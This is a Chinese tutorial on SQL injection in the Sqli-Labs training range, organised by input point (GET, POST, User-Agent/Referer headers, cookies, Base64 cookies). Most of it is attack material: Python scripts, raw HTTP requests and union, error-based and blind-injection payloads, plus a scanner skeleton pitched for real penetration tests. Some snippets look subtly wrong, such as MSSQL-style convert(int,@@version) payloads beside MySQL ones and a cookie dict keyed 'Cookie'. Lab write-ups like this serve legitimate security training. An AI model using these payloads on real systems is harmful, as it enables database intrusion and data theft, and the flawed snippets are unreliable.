从GET到Cookie:用Sqli-Labs靶场实战拆解SQL注入的5种常见场景(附脚本)
在渗透测试的实战环境中,SQL注入攻击的入口点远比我们想象的多样。Sqli-Labs靶场作为经典的SQL注入学习平台,其1-22关实际上暗藏了五种截然不同的攻击场景分类。本文将跳出传统"按关卡编号教学"的思维定式,从HTTP请求维度重新解构这些挑战,带你掌握不同场景下的核心攻击逻辑与自动化技巧。
1. 场景分类方法论:为什么请求类型决定攻击手法
SQL注入的本质是"通过用户可控输入点干预原始查询语句",但不同位置的输入点面临的限制条件差异显著。我们根据Sqli-Labs的关卡特征,将攻击场景划分为:
- GET参数注入(Less 1-10):攻击载荷直接暴露在URL中
- POST表单注入(Less 11-16):参数隐藏在请求体内部
- HTTP头部注入(Less 18-19):User-Agent/Referer等头部字段可控
- Cookie注入(Less 20):会话凭证成为攻击载体
- 编码型Cookie注入(Less 21-22):Base64编码增加构造复杂度
关键差异:不同场景下的闭合方式探测、工具链选择、编码处理都有独特技巧,下文将用具体案例演示如何针对性突破。
2. GET参数注入:经典场景中的高阶技巧
虽然GET型注入最为常见,但Sqli-Labs的1-10关仍包含多个技术变种:
2.1 联合查询注入的标准流程
以Less-1为例,典型攻击链如下:
# 自动化探测脚本框架 import requests target = "http://target.com/Less-1/?id=" # 步骤1:闭合方式探测 payloads = ["'", "\"", "')", "\")"] for p in payloads: r = requests.get(target + "1" + p + "-- -") if "error" in r.text: print(f"闭合方式可能是: {p}") # 步骤2:确定列数(二分法效率更高) for i in range(1,10): r = requests.get(target + "-1' order by " + str(i) + "-- -") if "error" in r.text: print(f"可用列数: {i-1}") break # 步骤3:提取数据库信息 r = requests.get(target + "-1' union select 1,database(),3-- -") print(r.text.split("Login name")[1].split("<")[0])2.2 无回显场景的三种解法
当页面不直接返回查询结果时(如Less-5):
| 技术类型 | 适用条件 | 典型Payload |
|---|---|---|
| 报错注入 | 显示数据库错误信息 | ?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- - |
| 布尔盲注 | 页面状态有差异 | ?id=1' and ascii(substr(database(),1,1))>97-- - |
| 时间盲注 | 无任何可视化反馈 | ?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),0)-- - |
工具推荐:sqlmap的
--technique参数可指定注入技术类型,如--technique=T表示时间盲注
3. POST表单注入:工具链的切换艺术
从Less-11开始,攻击面转移到表单提交,这要求我们调整工具策略:
3.1 Burp Suite拦截修改
- 配置浏览器代理到Burp
- 提交表单时拦截请求
- 在Repeater模块修改参数值
POST /Less-11/ HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded uname=admin'-- -&passwd=any&submit=Submit3.2 自动化脚本适配
需将GET请求的requests.get()改为requests.post()并处理表单数据:
data = { "uname": "admin' union select 1,database()#", "passwd": "any", "submit": "Submit" } r = requests.post("http://target.com/Less-11/", data=data)4. HTTP头部注入:被忽视的攻击面
Less-18(User-Agent)和Less-19(Referer)展示了头部字段的注入可能:
4.1 攻击特征
- 需要先通过合法登录(获取操作权限)
- 闭合方式需考虑INSERT语句上下文
- 报错注入是最有效手段
GET /Less-18/ HTTP/1.1 Host: target.com User-Agent: ' and updatexml(1,concat(0x7e,(select database()),0x7e),1),'1')-- -4.2 自动化难点
需要处理会话维持:
s = requests.Session() login_data = {"uname":"admin", "passwd":"admin"} s.post("http://target.com/login", data=login_data) headers = {"User-Agent": "injection_payload"} s.get("http://target.com/Less-18/", headers=headers)5. Cookie注入:权限维持后的攻击
当获得有效会话后,Less-20演示了如何通过Cookie实施注入:
5.1 攻击流程
- 正常登录获取Cookie
- 修改Cookie值进行注入
- 注意字段可能被URL编码
cookies = {"Cookie": "uname=admin' and 1=convert(int,@@version)--"} requests.get("http://target.com/Less-20/", cookies=cookies)5.2 Base64编码变种(Less-21-22)
需增加编解码层:
import base64 payload = "admin' and 1=convert(int,@@version)--" encoded = base64.b64encode(payload.encode()).decode() requests.get("http://target.com/Less-21/", cookies={"Cookie": encoded})6. 通用自动化框架设计
以下脚本框架可适配多种场景:
class SQLiScanner: def __init__(self, target): self.target = target self.session = requests.Session() def detect_closure(self): # 实现自动闭合方式检测 pass def exploit(self, technique="union"): if technique == "union": self.run_union() elif technique == "error": self.run_error() # 其他技术分支... def run_union(self): # 联合查询自动化 pass # 使用示例 scanner = SQLiScanner("http://target.com/Less-1/") scanner.detect_closure() scanner.exploit(technique="union")实际渗透中,建议结合这个框架与Burp Suite的Intruder模块,实现半自动化探测。对于时间盲注等复杂场景,可引入多线程加速字符爆破过程。